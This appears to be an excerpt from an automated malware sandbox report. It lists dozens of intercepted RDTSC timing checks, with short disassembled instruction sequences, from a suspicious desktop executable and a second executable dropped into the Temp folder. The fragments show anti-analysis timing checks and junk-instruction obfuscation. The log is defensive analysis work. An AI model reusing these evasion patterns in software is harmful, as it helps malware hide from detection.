Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60147 second address: 4D6014B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60C50 second address: 4D60C9B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0DD07A5D20h 0x00000008 xor si, C458h 0x0000000d jmp 00007F0DD07A5D1Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007F0DD07A5D26h 0x0000001d cmp dword ptr [7544459Ch], 05h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60C9B second address: 4D60CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 27CEh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60CA4 second address: 4D60CF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, F4h 0x00000005 pushfd 0x00000006 jmp 00007F0DD07A5D27h 0x0000000b or ah, 0000002Eh 0x0000000e jmp 00007F0DD07A5D29h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007F0E40E23A34h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F0DD07A5D1Dh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60DB1 second address: 4D60DE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b pushad 0x0000000c mov di, AFD0h 0x00000010 mov cx, dx 0x00000013 popad 0x00000014 mov dword ptr [ebp-1Ch], esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60DE2 second address: 4D60DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D60DE6 second address: 4D60DEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70B1E second address: 4D70B58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, C722h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c jmp 00007F0DD07A5D24h 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0DD07A5D27h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70B58 second address: 4D70B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70B7D second address: 4D70BB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 3E6357C0h 0x00000012 call 00007F0DD07A5D29h 0x00000017 pop esi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70BB5 second address: 4D70C03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0DD0C38CFCh 0x00000008 mov si, CD11h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov esi, dword ptr [ebp+0Ch] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F0DD0C38D09h 0x0000001b add ah, FFFFFFD6h 0x0000001e jmp 00007F0DD0C38D01h 0x00000023 popfd 0x00000024 mov edi, ecx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70C03 second address: 4D70C09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70C09 second address: 4D70C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007F0DD0C38CFBh 0x0000000f je 00007F0E412A648Fh 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movsx edi, si 0x0000001b mov si, 94C3h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70C2F second address: 4D70C77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 83h 0x00000005 pushfd 0x00000006 jmp 00007F0DD07A5D20h 0x0000000b sbb ax, D788h 0x00000010 jmp 00007F0DD07A5D1Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 cmp dword ptr [7544459Ch], 05h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F0DD07A5D25h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70C77 second address: 4D70CED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0DD0C38D07h 0x00000009 jmp 00007F0DD0C38D03h 0x0000000e popfd 0x0000000f mov esi, 6CFBF7BFh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007F0E412BE4DFh 0x0000001d pushad 0x0000001e mov eax, 274B1FB7h 0x00000023 mov dx, ax 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 pushad 0x00000029 mov ebx, 1974A966h 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007F0DD0C38CFCh 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F0DD0C38D07h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70D15 second address: 4D70D3D instructions: 0x00000000 rdtsc 0x00000002 mov ch, 25h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushfd 0x00000009 jmp 00007F0DD07A5D1Bh 0x0000000e jmp 00007F0DD07A5D23h 0x00000013 popfd 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70D3D second address: 4D70DD1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0DD0C38D08h 0x00000008 sub cx, 7828h 0x0000000d jmp 00007F0DD0C38CFBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F0DD0C38D04h 0x0000001e jmp 00007F0DD0C38D05h 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F0DD0C38D00h 0x0000002a adc ch, FFFFFFE8h 0x0000002d jmp 00007F0DD0C38CFBh 0x00000032 popfd 0x00000033 popad 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F0DD0C38D04h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\ABnDy7rLFS.exe	RDTSC instruction interceptor: First address: 4D70DD1 second address: 4D70E10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F0DD07A5D1Bh 0x00000013 and al, FFFFFF8Eh 0x00000016 jmp 00007F0DD07A5D29h 0x0000001b popfd 0x0000001c mov ah, B4h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2160A4 second address: 2160A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2160A8 second address: 2160C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F0DD07A5D22h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21DCF4 second address: 21DD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F0DD0C38CFBh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21DD11 second address: 21DD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0DD07A5D16h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21DD1B second address: 21DD21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21DD21 second address: 21DD27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21DD27 second address: 21DD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E122 second address: 21E137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D21h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E137 second address: 21E18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0DD0C38CFDh 0x0000000b jmp 00007F0DD0C38D03h 0x00000010 jmp 00007F0DD0C38D09h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 jmp 00007F0DD0C38D00h 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E18F second address: 21E193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E193 second address: 21E199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E44A second address: 21E44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E44E second address: 21E46E instructions: 0x00000000 rdtsc 0x00000002 je 00007F0DD0C38CF6h 0x00000008 jmp 00007F0DD0C38D06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E46E second address: 21E474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E474 second address: 21E478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E478 second address: 21E494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F0DD07A5D22h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E494 second address: 21E498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E498 second address: 21E49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E5D8 second address: 21E5EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F0DD0C38D01h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E5EF second address: 21E5FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E5FA second address: 21E628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0DD0C38CF6h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F0DD0C38CFEh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0DD0C38CFFh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E628 second address: 21E644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F0DD07A5D26h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E644 second address: 21E64A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E64A second address: 21E654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0DD07A5D16h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 21E654 second address: 21E658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220C40 second address: 220C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220C46 second address: 220C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220C4A second address: 220C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F0DD07A5D16h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220C5E second address: 220C64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220C64 second address: 220C6E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0DD07A5D1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220C6E second address: 220C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220C7D second address: 220C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220C81 second address: 220C85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220D26 second address: 220D38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220E7D second address: 220EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 je 00007F0DD0C38D00h 0x0000000c jmp 00007F0DD0C38CFAh 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jns 00007F0DD0C38CFCh 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jbe 00007F0DD0C38CF6h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220EAE second address: 220EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220EB8 second address: 220EDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38D03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220EDA second address: 220EF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD07A5D24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220EF2 second address: 220EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220EF8 second address: 220F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 add dword ptr [ebp+122D3356h], ecx 0x0000000f push 00000003h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F0DD07A5D18h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov dword ptr [ebp+124556D6h], edx 0x00000031 push 00000000h 0x00000033 mov edx, dword ptr [ebp+122D2E5Dh] 0x00000039 push 00000003h 0x0000003b sbb cx, 3F32h 0x00000040 call 00007F0DD07A5D19h 0x00000045 jmp 00007F0DD07A5D1Eh 0x0000004a push eax 0x0000004b push edi 0x0000004c push ebx 0x0000004d jnp 00007F0DD07A5D16h 0x00000053 pop ebx 0x00000054 pop edi 0x00000055 mov eax, dword ptr [esp+04h] 0x00000059 jmp 00007F0DD07A5D22h 0x0000005e mov eax, dword ptr [eax] 0x00000060 push eax 0x00000061 push edx 0x00000062 push edi 0x00000063 jmp 00007F0DD07A5D28h 0x00000068 pop edi 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220F99 second address: 220FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F0DD0C38CF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220FA3 second address: 220FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220FA7 second address: 220FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F0DD0C38CFEh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220FC7 second address: 220FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b and si, 3141h 0x00000010 lea ebx, dword ptr [ebp+12456B38h] 0x00000016 mov ecx, dword ptr [ebp+122D2DC1h] 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 220FEA second address: 220FF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 22105F second address: 221083 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0DD07A5D16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F0DD07A5D1Ch 0x00000010 jno 00007F0DD07A5D16h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jnp 00007F0DD07A5D16h 0x00000021 push edx 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 221083 second address: 2210B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DD0C38D08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jnc 00007F0DD0C38CFCh 0x00000010 push 00000000h 0x00000012 push D81555CEh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2210B9 second address: 2210BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2210BD second address: 2210C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 2210C3 second address: 22114A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0DD07A5D18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 27EAAAB2h 0x00000011 jnc 00007F0DD07A5D1Ch 0x00000017 mov edx, dword ptr [ebp+122D1C10h] 0x0000001d push 00000003h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F0DD07A5D18h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 sub dword ptr [ebp+122D1C10h], edx 0x0000003f push 00000000h 0x00000041 jmp 00007F0DD07A5D20h 0x00000046 call 00007F0DD07A5D22h 0x0000004b pop esi 0x0000004c push 00000003h 0x0000004e mov dword ptr [ebp+122D1DDAh], ecx 0x00000054 push 9FBFF55Eh 0x00000059 push eax 0x0000005a push edx 0x0000005b jo 00007F0DD07A5D18h 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	RDTSC instruction interceptor: First address: 233E5D second address: 233E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
